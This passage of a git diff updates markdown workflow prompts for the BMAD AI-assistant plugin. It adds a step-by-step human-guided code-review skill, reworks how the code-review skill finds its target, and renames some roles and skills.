+ - Use `{project_knowledge}` for additional context scanning 2. **Continue with steps below:** - **Load project context** — Search for `**/project-context.md`. If found, load as foundational reference for project standards and conventions. If not found, continue without it. diff --git a/plugins/bmad/skills/bmad-check-implementation-readiness/steps/step-01-document-discovery.md b/plugins/bmad/skills/bmad-check-implementation-readiness/steps/step-01-document-discovery.md index a4c524c..8b96d33 100644 --- a/plugins/bmad/skills/bmad-check-implementation-readiness/steps/step-01-document-discovery.md +++ b/plugins/bmad/skills/bmad-check-implementation-readiness/steps/step-01-document-discovery.md @@ -20,7 +20,7 @@ To discover, inventory, and organize all project documents, identifying duplicat ### Role Reinforcement: -- ✅ You are an expert Product Manager and Scrum Master +- ✅ You are an expert Product Manager - ✅ Your focus is on finding organizing and documenting what exists - ✅ You identify ambiguities and ask for clarification - ✅ Success is measured in clear file inventory and conflict resolution diff --git a/plugins/bmad/skills/bmad-check-implementation-readiness/steps/step-02-prd-analysis.md b/plugins/bmad/skills/bmad-check-implementation-readiness/steps/step-02-prd-analysis.md index 85cadc4..7aa77de 100644 --- a/plugins/bmad/skills/bmad-check-implementation-readiness/steps/step-02-prd-analysis.md +++ b/plugins/bmad/skills/bmad-check-implementation-readiness/steps/step-02-prd-analysis.md @@ -21,7 +21,7 @@ To fully read and analyze the PRD document (whole or sharded) to extract all Fun ### Role Reinforcement: -- ✅ You are an expert Product Manager and Scrum Master +- ✅ You are an expert Product Manager - ✅ Your expertise is in requirements analysis and traceability - ✅ You think critically about requirement completeness - ✅ Success is measured in thorough requirement extraction diff --git a/plugins/bmad/skills/bmad-check-implementation-readiness/steps/step-03-epic-coverage-validation.md b/plugins/bmad/skills/bmad-check-implementation-readiness/steps/step-03-epic-coverage-validation.md index 961ee74..2641532 100644 --- a/plugins/bmad/skills/bmad-check-implementation-readiness/steps/step-03-epic-coverage-validation.md +++ b/plugins/bmad/skills/bmad-check-implementation-readiness/steps/step-03-epic-coverage-validation.md @@ -20,7 +20,7 @@ To validate that all Functional Requirements from the PRD are captured in the ep ### Role Reinforcement: -- ✅ You are an expert Product Manager and Scrum Master +- ✅ You are an expert Product Manager - ✅ Your expertise is in requirements traceability - ✅ You ensure no requirements fall through the cracks - ✅ Success is measured in complete FR coverage diff --git a/plugins/bmad/skills/bmad-checkpoint-preview/SKILL.md b/plugins/bmad/skills/bmad-checkpoint-preview/SKILL.md new file mode 100644 index 0000000..bda5532 --- /dev/null +++ b/plugins/bmad/skills/bmad-checkpoint-preview/SKILL.md @@ -0,0 +1,29 @@ +--- +name: bmad-checkpoint-preview +description: 'LLM-assisted human-in-the-loop review. Make sense of a change, focus attention where it matters, test. Use when the user says "checkpoint", "human review", or "walk me through this change".' +--- + +# Checkpoint Review Workflow + +**Goal:** Guide a human through reviewing a change — from purpose and context into details. + +You are assisting the user in reviewing a change. + +## Global Step Rules (apply to every step) + +- **Path:line format** — Every code reference must use CWD-relative `path:line` format (no leading `/`) so it is clickable in IDE-embedded terminals (e.g., `src/auth/middleware.ts:42`). +- **Front-load then shut up** — Present the entire output for the current step in a single coherent message. Do not ask questions mid-step, do not drip-feed, do not pause between sections. +- **Language** — Speak in `{communication_language}`. Write any file output in `{document_output_language}`. + +## INITIALIZATION + +Load and read full config from `.claude/bmad.local.md` and resolve: + +- `implementation_artifacts` +- `planning_artifacts` +- `communication_language` +- `document_output_language` + +## FIRST STEP + +Read fully and follow `./step-01-orientation.md` to begin. diff --git a/plugins/bmad/skills/bmad-checkpoint-preview/generate-trail.md b/plugins/bmad/skills/bmad-checkpoint-preview/generate-trail.md new file mode 100644 index 0000000..6fd378b --- /dev/null +++ b/plugins/bmad/skills/bmad-checkpoint-preview/generate-trail.md @@ -0,0 +1,38 @@ +# Generate Review Trail + +Generate a review trail from the diff and codebase context. A generated trail is lower quality than an author-produced one, but far better than none. + +## Follow Global Step Rules in SKILL.md + +## INSTRUCTIONS + +1. Get the full diff against the appropriate baseline (same rules as Surface Area Stats in step-01). +2. Read changed files in full — not just diff hunks. Surrounding code reveals intent that hunks alone miss. If total file content exceeds ~50k tokens, read only the files with the largest diff hunks in full and use hunks for the rest. +3. If a spec exists, use its Intent section to anchor concern identification. +4. Identify 2–5 concerns: cohesive design intents that each explain *why* behind a cluster of changes. Prefer functional groupings and architectural boundaries over file-level splits. A single-concern change is fine — don't invent groupings. +5. For each concern, select 1–4 `path:line` stops — locations where the concern is most visible. Prefer entry points, decision points, and boundary crossings over mechanical changes. +6. Lead with the entry point — the highest-leverage stop a reviewer should see first. Inside each concern, order stops so each builds on the previous. End with peripherals (tests, config, types). +7. Format each stop using `path:line` per the global step rules: + +``` +**{Concern name}** + +- {one-line framing, ≤15 words} + `src/path/to/file.ts:42` +``` + +When there is only one concern, omit the bold label — just list the stops directly. + +## PRESENT + +Output after the orientation: + +``` +I built a review trail for this {change_type} (no author-produced trail was found): + +{generated trail} +``` + +The generated trail serves as the Suggested Review Order for subsequent steps. Set `review_mode` to `full-trail` — a trail now exists, so all downstream steps should treat it as one. + +If git is unavailable or the diff cannot be retrieved, return to step-01 with: "Could not generate trail — git unavailable." diff --git a/plugins/bmad/skills/bmad-checkpoint-preview/step-01-orientation.md b/plugins/bmad/skills/bmad-checkpoint-preview/step-01-orientation.md new file mode 100644 index 0000000..26f3554 --- /dev/null +++ b/plugins/bmad/skills/bmad-checkpoint-preview/step-01-orientation.md @@ -0,0 +1,105 @@ +# Step 1: Orientation + +Display: `[Orientation] → Walkthrough → Detail Pass → Testing` + +## Follow Global Step Rules in SKILL.md + +## FIND THE CHANGE + +The conversation context before this skill was triggered IS your starting point — not a blank slate. Check in this order — stop as soon as the change is identified: + +1. **Explicit argument** + Did the user pass a PR, commit SHA, branch, or spec file this message? + - PR reference → resolve to branch/commit via `gh pr view`. If resolution fails, ask for a SHA or branch. + - Spec file, commit, or branch → use directly. + +2. **Recent conversation** + Do the last few messages reveal what change the user wants reviewed? Look for spec paths, commit refs, branches, PRs, or descriptions of a change. Use the same routing as above. + +3. **Sprint tracking** + Check for a sprint status file (`*sprint-status*`) in `{implementation_artifacts}` or `{planning_artifacts}`. If found, scan for stories with status `review`: + - Exactly one → suggest it and confirm with the user. + - Multiple → present as numbered options. + - None → fall through. + +4. **Current git state** + Check current branch and HEAD. Confirm: "I see HEAD is `` on `` — is this the change you want to review?" + +5. **Ask** + If none of the above identified a change, ask: + - What changed and why? + - Which commit, branch, or PR should I look at? + - Do you have a spec, bug report, or anything else that explains what this change is supposed to do? + + If after 3 exchanges you still can't identify a change, HALT. + +Never ask extra questions beyond what the cascade prescribes. If a step above already identified the change, skip the remaining steps. + +## ENRICH + +Once a change is identified from any source above, fill in the complementary artifact: + +- If you have a spec, look for `baseline_commit` in its frontmatter to determine the diff baseline. +- If you have a commit or branch, check `{implementation_artifacts}` for a spec whose `baseline_commit` is an ancestor of that commit/branch (i.e., the spec describes work done on top of that baseline). +- If you found both a spec and a commit/branch, use both. + +## DETERMINE WHAT YOU HAVE + +Set `change_type` to match how the user referred to the change — `PR`, `commit`, `branch`, or their own words (e.g. `auth refactor`). Default to `change` if ambiguous. + +Set `review_mode` — pick the first match: + +1. **`full-trail`** — ENRICH found a spec with a `## Suggested Review Order` section. Intent source: spec's Intent section. +2. **`spec-only`** — ENRICH found a spec but it has no Suggested Review Order. Intent source: spec's Intent section. +3. **`bare-commit`** — no spec found. Intent source: commit message. If the commit message is terse (under 10 words), scan the diff for the primary change pattern and draft a one-sentence intent. Flag it as `[inferred]` in the output so the user can correct it. + +## PRODUCE ORIENTATION + +### Intent Summary + +- If intent comes from a spec's Intent section, display it verbatim regardless of length — it's already written to be concise. +- For other sources (commit messages, bug reports, user description): if ≤200 tokens, display verbatim. If longer, distill to ≤200 tokens. Link to the full source when one exists (e.g. a file path or URL). +- Format: `> **Intent:** {summary}` + +### Surface Area Stats + +Best-effort stats derived from the diff. Try these baselines in order: + +1. `baseline_commit` from the spec's frontmatter. +2. Branch merge-base against `main` (or the default branch). +3. `HEAD~1..HEAD` (latest commit only — tell the user). +4. If git is unavailable or all of the above fail, skip stats and note: "Could not compute stats." + +Use `git diff --stat` and `git diff --numstat` for file-level counts, and scan the full diff content for the richer metrics. + +Display as: + +``` +N files changed · M modules touched · ~L lines of logic · B boundary crossings · P new public interfaces +``` + +- **Files changed**: count from `git diff --stat`. +- **Modules touched**: distinct top-level directories with changes (from `--stat` file paths). +- **Lines of logic**: added/modified lines excluding blanks, imports, formatting. Scan diff content; `~` because approximate. +- **Boundary crossings**: changes spanning more than one top-level module. `0` if single module. +- **New public interfaces**: new exports, endpoints, public methods found in the diff. `0` if none. + +Omit any metric you cannot compute rather than guessing. + +### Present + +``` +[Orientation] → Walkthrough → Detail Pass → Testing + +> **Intent:** {intent_summary} + +{stats line} +``` + +## FALLBACK TRAIL GENERATION + +If review mode is not `full-trail`, read fully and follow `./generate-trail.md` to build one from the diff. Then return here and continue to NEXT. If trail generation fails (e.g., git unavailable), the original review mode is preserved — step-02 handles this with its non-trail path. + +## NEXT + +Read fully and follow `./step-02-walkthrough.md` diff --git a/plugins/bmad/skills/bmad-checkpoint-preview/step-02-walkthrough.md b/plugins/bmad/skills/bmad-checkpoint-preview/step-02-walkthrough.md new file mode 100644 index 0000000..aec40c4 --- /dev/null +++ b/plugins/bmad/skills/bmad-checkpoint-preview/step-02-walkthrough.md @@ -0,0 +1,89 @@ +# Step 2: Walkthrough + +Display: `Orientation → [Walkthrough] → Detail Pass → Testing` + +## Follow Global Step Rules in SKILL.md + +- Organize by **concern**, not by file. A concern is a cohesive design intent — e.g., "input validation," "state management," "API contract." One file may appear under multiple concerns; one concern may span multiple files. +- The walkthrough activates **design judgment**, not correctness checking. Frame each concern as "here's what this change does and why" — the human evaluates whether it's the right approach for the system. + +## BUILD THE WALKTHROUGH + +### Identify Concerns + +**With Suggested Review Order** (`full-trail` mode — the normal path, including when step-01 generated a trail): + +1. Read the Suggested Review Order stops from the spec (or from conversation context if generated by step-01 fallback). +2. Resolve each stop to a file in the current repo. Output in `path:line` format per the standing rule. +3. Read the diff to understand what each stop actually does. +4. Group stops by concern. Stops that share a design intent belong together even if they're in different files. A stop may appear under multiple concerns if it serves multiple purposes. + +**Without Suggested Review Order** (fallback when trail generation failed, e.g., git unavailable): + +1. Get the diff against the appropriate baseline (same rules as step 1). +2. Identify concerns by reading the diff for cohesive design intents: + - Functional groupings — what user-facing behavior does each cluster of changes support? + - Architectural layers — does the change cross boundaries (API → service → data)? + - Design decisions — where did the author choose between alternatives? +3. For each concern, identify the key code locations as `path:line` stops. + +### Order for Comprehension + +Sequence concerns top-down: start with the highest-level intent (the "what and why"), then drill into supporting implementation. Within each concern, order stops so each one builds on the previous. The reader should never encounter a reference to something they haven't seen yet. + +If the change has a natural entry point (e.g., a new public API, a config change, a UI entry point), lead with it. + +### Write Each Concern + +For each concern, produce: + +1. **Heading** — a short phrase naming the design intent (not a file name, not a module name). +2. **Why** — 1–2 sentences: what problem this concern addresses, why this approach was chosen over alternatives. If the spec documents rejected alternatives, reference them here. +3. **Stops** — each stop on its own line: `path:line` followed by a brief phrase (not a sentence) describing what this location does for the concern. Keep framing under 15 words per stop. + +Target 2–5 concerns for a typical change. A single-concern change is fine — don't invent groupings. A change with more than 7 concerns is a signal the scope may be too large, but present it anyway. + +## PRESENT + +Output the full walkthrough as a single message with this structure: + +``` +Orientation → [Walkthrough] → Detail Pass → Testing +``` + +Then each concern group using this format: + +``` +### {Concern Heading} + +{Why — 1–2 sentences} + +- `path:line` — {brief framing} +- `path:line` — {brief framing} +- ... +``` + +End the message with: + +``` +--- + +Take your time — click through the stops, read the diff, trace the logic. While you are reviewing, you can: +- "run advanced elicitation on the error handling" +- "party mode on whether this schema migration is safe" +- or just ask anything + +When you're ready, say **next** and I'll surface the highest-risk spots. +``` + +## EARLY EXIT + +If at any point the human signals they want to make a decision about this {change_type} (e.g., "let's ship it", "this needs a rethink", "I'm done reviewing", or anything suggesting they're ready to decide), confirm their intent: + +- If they want to **approve and ship** → read fully and follow `./step-05-wrapup.md` +- If they want to **reject and rework** → read fully and follow `./step-05-wrapup.md` +- If you misread them → acknowledge and continue the current step. + +## NEXT + +Default: read fully and follow `./step-03-detail-pass.md` diff --git a/plugins/bmad/skills/bmad-checkpoint-preview/step-03-detail-pass.md b/plugins/bmad/skills/bmad-checkpoint-preview/step-03-detail-pass.md new file mode 100644 index 0000000..49d8024 --- /dev/null +++ b/plugins/bmad/skills/bmad-checkpoint-preview/step-03-detail-pass.md @@ -0,0 +1,106 @@ +# Step 3: Detail Pass + +Display: `Orientation → Walkthrough → [Detail Pass] → Testing` + +## Follow Global Step Rules in SKILL.md + +- The detail pass surfaces what the human should **think about**, not what the code got wrong. Machine hardening already handled correctness. This activates risk awareness. +- The LLM detects risk category by pattern. The human judges significance. Do not assign severity scores or numeric rankings — ordering by blast radius (below) is sequencing for readability, not a severity judgment. +- If no high-risk spots exist, say so explicitly. Do not invent findings. + +## IDENTIFY RISK SPOTS + +Scan the diff for changes touching risk-sensitive patterns. Look for 2–5 spots where a mistake would have the highest blast radius — not the most complex code, but the code where being wrong costs the most. + +Risk categories to detect: + +- `[auth]` — authentication, authorization, session, token, permission, access control +- `[public API]` — new/changed endpoints, exports, public methods, interface contracts +- `[schema]` — database migrations, schema changes, data model modifications, serialization +- `[billing]` — payment, pricing, subscription, metering, usage tracking +- `[infra]` — deployment, CI/CD, environment variables, config files, infrastructure +- `[security]` — input validation, sanitization, crypto, secrets, CORS, CSP +- `[config]` — feature flags, environment-dependent behavior, defaults +- `[other]` — anything risk-sensitive that doesn't fit the above (e.g., concurrency, data privacy, backwards compatibility). Use a descriptive tag. + +Sequence spots so the highest blast radius comes first (how much breaks if this is wrong), not by diff order or file order. If more than 5 spots qualify, show the top 5 and note: "N additional spots omitted — ask if you want the full list." + +If the change has no spots matching these patterns, state: "No high-risk spots found in this change — the diff speaks for itself." Do not force findings. + +## SURFACE MACHINE HARDENING FINDINGS + +Check whether the spec has a `## Spec Change Log` section with entries (populated by adversarial review loops). + +- **If entries exist:** Read them. Surface findings that are instructive for the human reviewer — not bugs that were already fixed, but decisions the review loop flagged that the human should be aware of. Format: brief summary of what was flagged and what was decided. +- **If no entries or no spec:** Skip this section entirely. Do not mention it. + +## PRESENT + +Output as a single message: + +``` +Orientation → Walkthrough → [Detail Pass] → Testing +``` + +### Risk Spots + +For each spot, one line: + +``` +- `path:line` — [tag] reason-phrase +``` + +Example: + +``` +- `src/auth/middleware.ts:42` — [auth] New token validation bypasses rate limiter +- `migrations/003_add_index.sql:7` — [schema] Index on high-write table, check lock behavior +- `api/routes/billing.ts:118` — [billing] Metering calculation changed, verify idempotency +``` + +### Machine Hardening (only if findings exist) + +``` +### Machine Hardening + +- Finding summary — what was flagged, what was decided +- ... +``` + +### Closing menu + +End the message with: + +``` +--- + +You've seen the design and the risk landscape. From here: +- **"dig into [area]"** — I'll deep-dive that specific area with correctness focus +- **"next"** — I'll suggest how to observe the behavior +``` + +## EARLY EXIT + +If at any point the human signals they want to make a decision about this {change_type} (e.g., "let's ship it", "this needs a rethink", "I'm done reviewing", or anything suggesting they're ready to decide), confirm their intent: + +- If they want to **approve and ship** → read fully and follow `./step-05-wrapup.md` +- If they want to **reject and rework** → read fully and follow `./step-05-wrapup.md` +- If you misread them → acknowledge and continue the current step. + +## TARGETED RE-REVIEW + +When the human says "dig into [area]" (e.g., "dig into the auth changes", "dig into the schema migration"): + +1. If the specified area does not map to any code in the diff, say so: "I don't see [area] in this change — did you mean something else?" Return to the closing menu. +2. Identify all code locations in the diff relevant to the specified area. +3. Read each location in full context (not just the diff hunk — read surrounding code). +4. Shift to **correctness mode**: trace edge cases, check boundary conditions, verify error handling, look for off-by-one errors, race conditions, resource leaks. +5. Present findings as a compact list — each finding is `path:line` + what you found + why it matters. +6. If nothing concerning is found, say so: "Looked closely at [area] — nothing concerning. The implementation is solid." +7. After presenting, show only the closing menu (not the full risk spots list again). + +The human can trigger multiple targeted re-reviews. Each time, present new findings and the closing menu only. + +## NEXT + +Read fully and follow `./step-04-testing.md` diff --git a/plugins/bmad/skills/bmad-checkpoint-preview/step-04-testing.md b/plugins/bmad/skills/bmad-checkpoint-preview/step-04-testing.md new file mode 100644 index 0000000..f818079 --- /dev/null +++ b/plugins/bmad/skills/bmad-checkpoint-preview/step-04-testing.md @@ -0,0 +1,74 @@ +# Step 4: Testing + +Display: `Orientation → Walkthrough → Detail Pass → [Testing]` + +## Follow Global Step Rules in SKILL.md + +- This is **experiential**, not analytical. The detail pass asked "did you think about X?" — this says "you could see X with your own eyes." +- Do not prescribe. The human decides whether observing the behavior is worth their time. Frame suggestions as options, not obligations. +- Do not duplicate CI, test suites, or automated checks. Assume those exist and work. This is about manual observation — the kind of confidence-building no automated test provides. +- If the change has no user-visible behavior, say so explicitly. Do not invent observations. + +## IDENTIFY OBSERVABLE BEHAVIOR + +Scan the diff and spec for changes that produce behavior a human could directly observe. Categories to look for: + +- **UI changes** — new screens, modified layouts, changed interactions, error states +- **CLI/terminal output** — new commands, changed output, new flags or options +- **API responses** — new endpoints, changed payloads, different status codes +- **State changes** — database records, file system artifacts, config effects +- **Error paths** — bad input, missing dependencies, edge conditions + +For each observable behavior, determine: + +1. **What to do** — the specific action (command to run, button to click, request to send) +2. **What to expect** — the observable result that confirms the change works +3. **Why bother** — one phrase connecting this observation to the change's intent (omit if obvious from context) + +Target 2–5 suggestions for a typical change. If more than 5 qualify, prioritize by how much confidence the observation provides relative to effort. A change with zero observable behavior is fine — do not pad with trivial observations. + +## PRESENT + +Output as a single message: + +``` +Orientation → Walkthrough → Detail Pass → [Testing] +``` + +Then the testing suggestions using this format: + +``` +### How to See It Working + +**{Brief description}** +Do: {specific action} +Expect: {observable result} + +**{Brief description}** +Do: {specific action} +Expect: {observable result} +``` + +Include code blocks for commands or requests where helpful. + +If the change has no observable behavior, replace the suggestions with: + +``` +### How to See It Working + +This change is internal — no user-visible behavior to observe. The diff and tests tell the full story. +``` + +### Closing + +End the message with: + +``` +--- + +You've seen the change and how to verify it. When you're ready to make a call, just say so. +``` + +## NEXT + +When the human signals they're ready to make a decision about this {change_type}, read fully and follow `./step-05-wrapup.md` diff --git a/plugins/bmad/skills/bmad-checkpoint-preview/step-05-wrapup.md b/plugins/bmad/skills/bmad-checkpoint-preview/step-05-wrapup.md new file mode 100644 index 0000000..5f293d5 --- /dev/null +++ b/plugins/bmad/skills/bmad-checkpoint-preview/step-05-wrapup.md @@ -0,0 +1,24 @@ +# Step 5: Wrap-Up + +Display: `Orientation → Walkthrough → Detail Pass → Testing → [Wrap-Up]` + +## Follow Global Step Rules in SKILL.md + +## PROMPT FOR DECISION + +``` +--- + +Review complete. What's the call on this {change_type}? +- **Approve** — ship it (I can help with interactive patching first if needed) +- **Rework** — back to the drawing board (revert, revise the spec, try a different approach) +- **Discuss** — something's still on your mind +``` + +HALT — do not proceed until the user makes their choice. + +## ACT ON DECISION + +- **Approve**: Acknowledge briefly. If the human wants to patch something before shipping, help apply the fix interactively. If reviewing a PR, offer to approve via `gh pr review --approve` — but confirm with the human before executing, since this is a visible action on a shared resource. +- **Rework**: Ask what went wrong — was it the approach, the spec, or the implementation? Help the human decide on next steps (revert commit, open an issue, revise the spec, etc.). Help draft specific, actionable feedback tied to `path:line` locations if the change is a PR from someone else. +- **Discuss**: Open conversation — answer questions, explore concerns, dig into any aspect. After discussion, return to the decision prompt above. diff --git a/plugins/bmad/skills/bmad-code-review/steps/step-01-gather-context.md b/plugins/bmad/skills/bmad-code-review/steps/step-01-gather-context.md index 3678d06..22b9fbd 100644 --- a/plugins/bmad/skills/bmad-code-review/steps/step-01-gather-context.md +++ b/plugins/bmad/skills/bmad-code-review/steps/step-01-gather-context.md @@ -15,18 +15,37 @@ story_key: '' # set at runtime when discovered from sprint status ## INSTRUCTIONS -1. **Detect review intent from invocation text.** Check the triggering prompt for phrases that map to a review mode: - - "staged" / "staged changes" → Staged changes only - - "uncommitted" / "working tree" / "all changes" → Uncommitted changes (staged + unstaged) - - "branch diff" / "vs main" / "against main" / "compared to {branch}" → Branch diff (extract base branch if mentioned) - - "commit range" / "last N commits" / "{sha}..{sha}" → Specific commit range - - "this diff" / "provided diff" / "paste" → User-provided diff (do not match bare "diff" — it appears in other modes) - - When multiple phrases match, prefer the most specific match (e.g., "branch diff" over bare "diff"). - - **If a clear match is found:** Announce the detected mode (e.g., "Detected intent: review staged changes only") and proceed directly to constructing `{diff_output}` using the corresponding sub-case from instruction 3. Skip to instruction 4 (spec question). - - **If no match from invocation text, check sprint tracking.** Look for a sprint status file (`*sprint-status*`) in `{implementation_artifacts}` or `{planning_artifacts}`. If found, scan for any story with status `review`. Handle as follows: - - **Exactly one `review` story:** Set `{story_key}` to the story's key (e.g., `1-2-user-auth`). Suggest it: "I found story {{story-id}} in `review` status. Would you like to review its changes? [Y] Yes / [N] No, let me choose". If confirmed, use the story context to determine the diff source (branch name derived from story slug, or uncommitted changes). If declined, clear `{story_key}` and fall through to instruction 2. - - **Multiple `review` stories:** Present them as numbered options alongside a manual choice option. Wait for user selection. If the user selects a story, set `{story_key}` to the selected story's key and use the selected story's context to determine the diff source as in the single-story case above, and proceed to instruction 3. If the user selects the manual choice, clear `{story_key}` and fall through to instruction 2. - - **If no match and no sprint tracking:** Fall through to instruction 2. +1. **Find the review target.** The conversation context before this skill was triggered IS your starting point — not a blank slate. Check in this order — stop as soon as the review target is identified: + + **Tier 1 — Explicit argument.** + Did the user pass a PR, commit SHA, branch, spec file, or diff source this message? + - PR reference → resolve to branch/commit via `gh pr view`. If resolution fails, ask for a SHA or branch. + - Commit or branch → use directly. + - Spec file → set `{spec_file}` to the provided path. Check its frontmatter for `baseline_commit`. If found, use as diff baseline. If not found, continue the cascade (a spec alone does not identify a diff source). + - Also scan the argument for diff-mode keywords that narrow the scope: + - "staged" / "staged changes" → Staged changes only + - "uncommitted" / "working tree" / "all changes" → Uncommitted changes (staged + unstaged) + - "branch diff" / "vs main" / "against main" / "compared to " → Branch diff (extract base branch if mentioned) + - "commit range" / "last N commits" / ".." → Specific commit range + - "this diff" / "provided diff" / "paste" → User-provided diff (do not match bare "diff" — it appears in other modes) + - When multiple keywords match, prefer the most specific (e.g., "branch diff" over bare "diff"). + + **Tier 2 — Recent conversation.** + Do the last few messages reveal what the user wants to be reviewed? Look for spec paths, commit refs, branches, PRs, or descriptions of a change. Apply the same diff-mode keyword scan and routing as Tier 1. + + **Tier 3 — Sprint tracking.** + Look for a sprint status file (`*sprint-status*`) in `{implementation_artifacts}` or `{planning_artifacts}`. If found, scan for stories with status `review`: + - **Exactly one `review` story:** Set `{story_key}` to the story's key (e.g., `1-2-user-auth`). Suggest it: "I found story in `review` status. Would you like to review its changes? [Y] Yes / [N] No, let me choose". If confirmed, use the story context to determine the diff source (branch name derived from story slug, or uncommitted changes). If declined, clear `{story_key}` and fall through. + - **Multiple `review` stories:** Present them as numbered options alongside a manual choice option. Wait for user selection. If a story is selected, set `{story_key}` and use its context to determine the diff source. If manual choice is selected, clear `{story_key}` and fall through. + - **None:** Fall through. + + **Tier 4 — Current git state.** + If version control is unavailable, skip to Tier 5. Otherwise, check the current branch and HEAD. If the branch is not `main` (or the default branch), confirm: "I see HEAD is `` on `` — do you want to review this branch's changes?" If confirmed, treat as a branch diff against `main`. If declined, fall through. + + **Tier 5 — Ask.** + Fall through to instruction 2. + + Never ask extra questions beyond what the cascade prescribes. If a tier above already identified the target, skip the remaining tiers and proceed to instruction 3 (construct diff). 2. HALT. Ask the user: **What do you want to review?** Present these options: - **Uncommitted changes** (staged + unstaged) @@ -36,15 +55,19 @@ story_key: '' # set at runtime when discovered from sprint status - **Provided diff or file list** (user pastes or provides a path) 3. Construct `{diff_output}` from the chosen source. + - For **staged changes only**: run `git diff --cached`. + - For **uncommitted changes** (staged + unstaged): run `git diff HEAD`. - For **branch diff**: verify the base branch exists before running `git diff`. If it does not exist, HALT and ask the user for a valid branch. - For **commit range**: verify the range resolves. If it does not, HALT and ask the user for a valid range. - For **provided diff**: validate the content is non-empty and parseable as a unified diff. If it is not parseable, HALT and ask the user to provide a valid diff. - For **file list**: validate each path exists in the working tree. Construct `{diff_output}` by running `git diff HEAD -- ...`. If any paths are untracked (new files not yet staged), use `git diff --no-index /dev/null ` to include them. If the diff is empty (files have no uncommitted changes and are not untracked), ask the user whether to review the full file contents or to specify a different baseline. - After constructing `{diff_output}`, verify it is non-empty regardless of source type. If empty, HALT and tell the user there is nothing to review. -4. Ask the user: **Is there a spec or story file that provides context for these changes?** - - If yes: set `{spec_file}` to the path provided, verify the file exists and is readable, then set `{review_mode}` = `"full"`. - - If no: set `{review_mode}` = `"no-spec"`. +4. **Set the spec context.** + - If `{spec_file}` is already set (from Tier 1 or Tier 2): verify the file exists and is readable, then set `{review_mode}` = `"full"`. + - Otherwise, ask the user: **Is there a spec or story file that provides context for these changes?** + - If yes: set `{spec_file}` to the path provided, verify the file exists and is readable, then set `{review_mode}` = `"full"`. + - If no: set `{review_mode}` = `"no-spec"`. 5. If `{review_mode}` = `"full"` and the file at `{spec_file}` has a `context` field in its frontmatter listing additional docs, load each referenced document. Warn the user about any docs that cannot be found. diff --git a/plugins/bmad/skills/bmad-correct-course/checklist.md b/plugins/bmad/skills/bmad-correct-course/checklist.md index 6fb7c3e..b56feb6 100644 --- a/plugins/bmad/skills/bmad-correct-course/checklist.md +++ b/plugins/bmad/skills/bmad-correct-course/checklist.md @@ -217,8 +217,8 @@ Establish agent handoff plan Identify which roles/agents will execute the changes: - - Development team (for implementation) - - Product Owner / Scrum Master (for backlog changes) + - Developer agent (for implementation) + - Product Owner / Developer (for backlog changes) - Product Manager / Architect (for strategic changes) Define responsibilities for each role [ ] Done / [ ] N/A / [ ] Action-needed diff --git a/plugins/bmad/skills/bmad-create-ux-design/steps/step-13-responsive-accessibility.md b/plugins/bmad/skills/bmad-create-ux-design/steps/step-13-responsive-accessibility.md index 02368a0..612faa2 100644 --- a/plugins/bmad/skills/bmad-create-ux-design/steps/step-13-responsive-accessibility.md +++ b/plugins/bmad/skills/bmad-create-ux-design/steps/step-13-responsive-accessibility.md @@ -240,7 +240,7 @@ When user selects 'C', append the content directly to the document using the str ✅ Appropriate breakpoint strategy established ✅ Accessibility requirements determined and documented ✅ Comprehensive testing strategy planned -✅ Implementation guidelines provided for development team +✅ Implementation guidelines provided for Developer agent ✅ A/P/C menu presented and handled correctly ✅ Content properly appended to document when C selected diff --git a/plugins/bmad/skills/bmad-distillator/SKILL.md b/plugins/bmad/skills/bmad-distillator/SKILL.md index 05ef36c..57c44d0 100644 --- a/plugins/bmad/skills/bmad-distillator/SKILL.md +++ b/plugins/bmad/skills/bmad-distillator/SKILL.md @@ -1,7 +1,6 @@ --- name: bmad-distillator description: Lossless LLM-optimized compression of source documents. Use when the user requests to 'distill documents' or 'create a distillate'. -argument-hint: "[to create provide input paths] [--validate distillate-path to confirm distillate is lossless and optimized]" --- # Distillator: A Document Distillation Engine diff --git a/plugins/bmad/skills/bmad-distillator/resources/distillate-format-reference.md b/plugins/bmad/skills/bmad-distillator/resources/distillate-format-reference.md index 11ffac5..d01cd49 100644 --- a/plugins/bmad/skills/bmad-distillator/resources/distillate-format-reference.md +++ b/plugins/bmad/skills/bmad-distillator/resources/distillate-format-reference.md @@ -81,18 +81,18 @@ When the same fact appears in both a brief and discovery notes: **Brief says:** ``` -bmad-init must always be included as a base skill in every bundle +bmad-help must always be included as a base skill in every bundle ``` **Discovery notes say:** ``` -bmad-init must always be included as a base skill in every bundle/install -(solves bootstrapping problem) +bmad-help must always be included as a base skill in every bundle/install +(solves discoverability problem) ``` **Distillate keeps the more contextual version:** ``` -- bmad-init: always included as base skill in every bundle (solves bootstrapping) +- bmad-help: always included as base skill in every bundle (solves discoverability) ``` ### Decision/Rationale Compression @@ -128,7 +128,7 @@ parts: 1 ## Core Concept - BMAD Next-Gen Installer: replaces monolithic Node.js CLI with skill-based plugin architecture for distributing BMAD methodology across 40+ AI platforms -- Three layers: self-describing plugins (bmad-manifest.json), cross-platform install via Vercel skills CLI (MIT), runtime registration via bmad-init skill +- Three layers: self-describing plugins (bmad-manifest.json), cross-platform install via Vercel skills CLI (MIT), runtime registration via bmad-setup skill - Transforms BMAD from dev-only methodology into open platform for any domain (creative, therapeutic, educational, personal) ## Problem @@ -141,7 +141,7 @@ parts: 1 - Plugins: skill bundles with Anthropic plugin standard as base format + bmad-manifest.json extending for BMAD-specific metadata (installer options, capabilities, help integration, phase ordering, dependencies) - Existing manifest example: `{"module-code":"bmm","replaces-skill":"bmad-create-product-brief","capabilities":[{"name":"create-brief","menu-code":"CB","supports-headless":true,"phase-name":"1-analysis","after":["brainstorming"],"before":["create-prd"],"is-required":true}]}` - Vercel skills CLI handles platform translation; integration pattern (wrap/fork/call) is PRD decision -- bmad-init: global skill scanning installed bmad-manifest.json files, registering capabilities, configuring project settings; always included as base skill in every bundle (solves bootstrapping) +- bmad-setup: global skill scanning installed bmad-manifest.json files, registering capabilities, configuring project settings; always included as base skill in every bundle (solves bootstrapping) - bmad-update: plugin update path without full reinstall; technical approach (diff/replace/preserve customizations) is PRD decision - Distribution tiers: (1) NPX installer wrapping skills CLI for technical users, (2) zip bundle + platform-specific README for non-technical users, (3) future marketplace - Non-technical path has honest friction: "copy to right folder" requires knowing where; per-platform README instructions; improves over time as low-code space matures @@ -161,18 +161,18 @@ parts: 1 - Zero (or near-zero) custom platform directory code; delegated to skills CLI ecosystem - Installation verified on top platforms by volume; skills CLI handles long tail - Non-technical install path validated with non-developer users -- bmad-init discovers/registers all plugins from manifests; clear errors for malformed manifests +- bmad-setup discovers/registers all plugins from manifests; clear errors for malformed manifests - At least one external module author successfully publishes 